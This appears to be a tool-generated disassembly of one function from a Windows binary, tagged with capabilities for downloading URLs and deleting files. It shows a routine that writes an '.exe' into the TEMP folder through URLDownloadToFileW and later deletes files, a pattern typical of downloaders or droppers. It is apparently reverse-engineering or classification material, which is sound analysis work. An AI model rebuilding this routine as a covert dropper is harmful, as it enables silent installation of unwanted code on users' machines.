Function at 0x419564
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push 0x1c0
mov eax, 0x491f90
call fcn.0047ae8f
mov ebx, dword [ebp + 8]
push 0x4986d0
lea esi, [ebx + 0x100]
mov dword [ebp - 0x1c8], ebx
call fcn.00401c1b
xor edi, edi
pop ecx
test al, al
je 0x4195f5
mov eax, dword [ebx + 0x204]
sub eax, dword [ebx + 0x200]
mov esi, 0x2fc
cdq
mov ecx, esi
idiv ecx
mov dword [ebp - 0x1c4], edi
test eax, eax
je 0x4195ee
mov eax, dword [ebx + 0x200]
add eax, edi
push 1
push eax
call fcn.00419564
pop ecx
pop ecx
test al, al
jne 0x4196cf
mov eax, dword [ebx + 0x204]
sub eax, dword [ebx + 0x200]
mov ecx, esi
cdq
idiv ecx
inc dword [ebp - 0x1c4]
add edi, esi
cmp dword [ebp - 0x1c4], eax
jb 0x4195b3
xor al, al
jmp 0x419e2d
cmp dword [ebx + 0xbc], edi
je 0x4197a5
lea eax, [ebx + 0xac]
push eax
lea esi, [ebp - 0x4c]
call fcn.00405b15
lea eax, [ebx + 0x1a8]
push eax
lea esi, [ebp - 0x30]
mov dword [ebp - 4], edi
call fcn.00405b15
cmp byte [ebp + 0xc], 0
mov byte [ebp - 4], 1
jne 0x41966a
cmp dword [ebx + 0x2d4], edi
jbe 0x41966a
lea eax, [ebx + 0xac]
lea ecx, [ebx + 0x2c4]
call fcn.00410301
test al, al
jne 0x41966a
push 0xffffffffffffffff
push edi
lea eax, [ebx + 0x2c4]
lea ecx, [ebp - 0x4c]
call fcn.00401590
push 0xffffffffffffffff
push edi
lea eax, [ebx + 0x2e0]
mov ecx, esi
call fcn.00401590
push 1
lea ecx, [ebp - 0x4c]
call fcn.004153d0
mov byte [ebp - 0x1b9], al
pop ecx
lea eax, [ebp - 0x1c4]
push eax
mov dword [ebp - 0x1c4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x1c4], edi
je 0x4196b0
cmp dword [ebp - 0x20], edi
jbe 0x4196b0
push edi
lea ecx, [ebp - 0x30]
call fcn.004153d0
pop ecx
test al, al
jne 0x4196b9
cmp byte [ebp - 0x1b9], 0
je 0x4196d6
push 1
xor edi, edi
lea esi, [ebp - 0x30]
call fcn.0040162a
push 1
lea esi, [ebp - 0x4c]
call fcn.0040162a
mov al, 1
jmp 0x419e2d
cmp byte [ebp + 0xc], 0
jne 0x41978b
mov eax, dword [ebx + 0x250]
mov dword [ebp - 0x1c0], edi
mov dword [ebp - 0x1cc], eax
cmp eax, edi
jge 0x4196fc
mov dword [ebp - 0x1cc], edi
cmp dword [ebp - 0x1cc], edi
jle 0x41978b
mov esi, 0x1f4
add dword [ebp - 0x1c0], esi
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea ecx, [ebp - 0x4c]
call fcn.004153d0
mov byte [ebp - 0x1b9], al
pop ecx
lea eax, [ebp - 0x1c4]
push eax
mov dword [ebp - 0x1c4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x1c4], edi
je 0x419770
cmp dword [ebp - 0x20], edi
jbe 0x419770
push edi
lea ecx, [ebp - 0x30]
call fcn.004153d0
pop ecx
test al, al
jne 0x4196b9
cmp byte [ebp - 0x1b9], al
jne 0x4196b9
cmp byte [ebp - 0x1b9], 0
jne 0x4196b9
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp - 0x1c0], eax
jl 0x41970d
push 1
xor edi, edi
lea esi, [ebp - 0x30]
call fcn.0040162a
or dword [ebp - 4], 0xffffffff
push 1
lea esi, [ebp - 0x4c]
call fcn.0040162a
cmp byte [ebp + 0xc], 1
jne 0x419a3a
cmp dword [ebx + 0x12c], edi
je 0x419e24
push str.TEMP
call fcn.004783f4
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d846
push 2
pop edi
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x20]
lea esi, [ebp - 0xa0]
call fcn.0040ebfe
mov byte [ebp - 4], 3
cmp dword [ebp - 0x8c], 8
mov ecx, dword [ebp - 0xa0]
jae 0x4197f8
mov ecx, esi
cmp dword [ebp - 0x1c], 0x10
mov eax, dword [ebp - 0x30]
jae 0x419804
lea eax, [ebp - 0x30]
mov edx, dword [ebp - 0x20]
add edx, eax
cmp dword [ebp - 0x1c], 0x10
mov eax, dword [ebp - 0x30]
jae 0x419821
lea eax, [ebp - 0x30]
jmp 0x419821
movsx si, byte [eax]
mov word [ecx], si
add ecx, edi
inc eax
cmp eax, edx
jne 0x419817
push 0x49d0ac
lea eax, [ebp - 0xbc]
call fcn.00401556
lea eax, [ebp - 0xbc]
push eax
mov byte [ebp - 4], 4
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x148]
call fcn.00404573
mov dword [ebp - 0x1c0], eax
mov esi, 0x49e094
lea eax, [ebp - 0x68]
push esi
push eax
lea edi, [ebp - 0xa0]
mov byte [ebp - 4], 5
call fcn.004069ac
lea ecx, [ebp - 0x12c]
push 0x4b6618
push ecx
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.004102d8
push esi
push eax
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 7
call fcn.004102a7
mov ecx, eax
mov eax, dword [ebp - 0x1c0]
lea edi, [ebp - 0x110]
mov byte [ebp - 4], 8
call fcn.00406a0a
lea ecx, [ebx + 0xe4]
push ecx
lea ecx, [ebp - 0xd8]
push ecx
mov ecx, eax
mov byte [ebp - 4], 9
call fcn.004102d8
push str..exe
push eax
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0xa
call fcn.004102a7
add esp, 0x28
push 1
xor edi, edi
lea esi, [ebp - 0xd8]
call fcn.0040162a
push 1
lea esi, [ebp - 0x110]
call fcn.0040162a
push 1
lea esi, [ebp - 0xf4]
call fcn.0040162a
push 1
lea esi, [ebp - 0x12c]
call fcn.0040162a
push 1
lea esi, [ebp - 0x68]
call fcn.0040162a
push 1
lea esi, [ebp - 0x148]
call fcn.0040162a
push 1
lea esi, [ebp - 0xbc]
call fcn.0040162a
cmp dword [ebp - 0x38], 8
mov ecx, dword [ebp - 0x4c]
jae 0x419944
lea ecx, [ebp - 0x4c]
lea eax, [ebx + 0x11c]
cmp dword [eax + 0x14], 8
jb 0x419952
mov eax, dword [eax]
xor esi, esi
push esi
push esi
push ecx
push eax
push esi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 4], 0x12
cmp eax, esi
je 0x419974
mov dword [ebx + 0x230], 3
cmp dword [ebx + 0x230], 3
jne 0x4199ab
mov bl, 1
push 1
xor edi, edi
lea esi, [ebp - 0x4c]
call fcn.0040162a
push 1
lea esi, [ebp - 0xa0]
call fcn.0040162a
lea ecx, [ebp - 0x30]
push 0
push 1
call fcn.00406268
mov al, bl
jmp 0x419e2d
push 0x49bf80
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0x15
call fcn.00401556
push 1
push 1
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x16
call fcn.00414ca7
pop ecx
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x84]
mov dword [ebp - 0x1c0], eax
mov byte [ebp - 4], 0x15
call fcn.0040162a
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 0x2fc
mov ecx, esp
mov dword [ebp - 0x1cc], esp
push ebx
call fcn.004040e8
mov edx, dword [ebp - 0x1c0]
mov cl, 1
call fcn.0041ccf4
add esp, 0x2fc
mov bl, al
jmp 0x41997f
cmp dword [ebx + 0x148], edi
je 0x419e24
cmp byte [ebp + 0xc], 0
jne 0x419e24
push str.TEMP
call fcn.004783f4
pop ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.0040d846
mov dword [ebp - 4], 0x1a
mov eax, dword [ebp - 0x74]
lea esi, [ebp - 0xbc]
call fcn.0040ebfe
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0xa8], 8
mov ecx, dword [ebp - 0xbc]
jae 0x419a91
mov ecx, esi
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x84]
jae 0x419aa3
lea eax, [ebp - 0x84]
mov edx, dword [ebp - 0x74]
add edx, eax
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x84]
jae 0x419ac7
lea eax, [ebp - 0x84]
jmp 0x419ac7
movsx si, byte [eax]
mov word [ecx], si
add ecx, 2
inc eax
cmp eax, edx
jne 0x419abc
push str.TE5PSlRO
lea eax, [ebp - 0x30]
call fcn.00401556
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 0x1c
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x180]
call fcn.00404573
mov dword [ebp - 0x1c8], eax
mov esi, 0x49e094
lea eax, [ebp - 0x19c]
push esi
push eax
lea edi, [ebp - 0xbc]
mov byte [ebp - 4], 0x1d
call fcn.004069ac
lea ecx, [ebp - 0x1b8]
push 0x4b6618
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x1e
call fcn.004102d8
push esi
push eax
lea eax, [ebp - 0x164]
mov byte [ebp - 4], 0x1f
call fcn.004102a7
mov ecx, eax
mov eax, dword [ebp - 0x1c8]
lea edi, [ebp - 0x148]
mov byte [ebp - 4], 0x20
call fcn.00406a0a
push str..exe
push eax
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.004102a7
add esp, 0x20
push 1
xor edi, edi
lea esi, [ebp - 0x148]
call fcn.0040162a
push 1
lea esi, [ebp - 0x164]
call fcn.0040162a
push 1
lea esi, [ebp - 0x1b8]
call fcn.0040162a
push 1
lea esi, [ebp - 0x19c]
call fcn.0040162a
push 1
lea esi, [ebp - 0x180]
call fcn.0040162a
push 1
lea esi, [ebp - 0x30]
call fcn.0040162a
lea eax, [ebx + 0x11c]
push eax
mov byte [ebp - 4], 0x29
call fcn.00414c5f
pop ecx
test al, al
je 0x419d24
push 0x49e078
lea eax, [ebp - 0xf4]
call fcn.00401556
push str..exe
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 0x2a
call fcn.00401556
lea eax, [ebp - 0xf4]
push eax
sub esp, 0x1c
lea eax, [ebp - 0x68]
mov esi, esp
mov dword [ebp - 0x1c8], esp
push eax
mov byte [ebp - 4], 0x2b
lea edi, [ebp - 0x12c]
call fcn.00405b15
lea eax, [ebp - 0x4c]
push eax
mov ecx, edi
call fcn.00415310
add esp, 0x24
push 1
xor edi, edi
lea esi, [ebp - 0x12c]
call fcn.0040162a
push 1
lea esi, [ebp - 0xf4]
mov byte [ebp - 4], 0x2e
call fcn.0040162a
push 0x49e078
lea eax, [ebp - 0xd8]
call fcn.00401556
push str..exe
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 0x2f
call fcn.00401556
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
lea eax, [ebx + 0x11c]
mov esi, esp
mov dword [ebp - 0x1c8], esp
push eax
mov byte [ebp - 4], 0x30
lea edi, [ebp - 0x110]
call fcn.00405b15
lea eax, [ebp - 0xa0]
push eax
mov ecx, edi
call fcn.00415310
add esp, 0x24
push 1
xor edi, edi
lea esi, [ebp - 0x110]
call fcn.0040162a
push 1
lea esi, [ebp - 0xd8]
call fcn.0040162a
cmp dword [ebp - 0x38], 8
mov edx, dword [ebp - 0x4c]
jae 0x419cca
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x8c], 8
mov ecx, dword [ebp - 0xa0]
jae 0x419cdf
lea ecx, [ebp - 0xa0]
xor eax, eax
push eax
push eax
push edx
push ecx
push eax
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmp dword [ebp - 0x38], 8
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x4c]
jae 0x419cfe
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
xor edi, edi
lea esi, [ebp - 0xa0]
call fcn.0040162a
push 1
lea esi, [ebp - 0x4c]
mov byte [ebp - 4], 0x29
call fcn.0040162a
jmp 0x419d51
cmp dword [ebp - 0x54], 8
mov ecx, dword [ebp - 0x68]
jae 0x419d30
lea ecx, [ebp - 0x68]
lea eax, [ebx + 0x138]
cmp dword [eax + 0x14], 8
jb 0x419d3e
mov eax, dword [eax]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
je 0x419d80
push 1
xor edi, edi
lea esi, [ebp - 0x68]
call fcn.0040162a
push 1
lea esi, [ebp - 0xbc]
call fcn.0040162a
xor bl, bl
lea ecx, [ebp - 0x84]
jmp 0x41999b
push 0x49bf80
lea eax, [ebp - 0xd8]
call fcn.00401556
push 1
push 1
lea edx, [ebp - 0xd8]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x31
call fcn.00414ca7
pop ecx
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0xd8]
mov dword [ebp - 0x1c8], eax
call fcn.0040162a
cmp dword [ebp - 0x54], 8
mov eax, dword [ebp - 0x68]
jae 0x419dc9
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 0x2fc
mov ecx, esp
mov dword [ebp - 0x1c0], esp
push ebx
mov dword [ebp - 4], 0x29
call fcn.004040e8
mov edx, dword [ebp - 0x1c8]
xor cl, cl
call fcn.0041ccf4
add esp, 0x2fc
push 1
xor edi, edi
lea esi, [ebp - 0x68]
mov bl, al
call fcn.0040162a
push 1
lea esi, [ebp - 0xbc]
call fcn.0040162a
jmp 0x419d75
cmp dword [ebx + 0xbc], edi
sete al
call fcn.0047aeeb
ret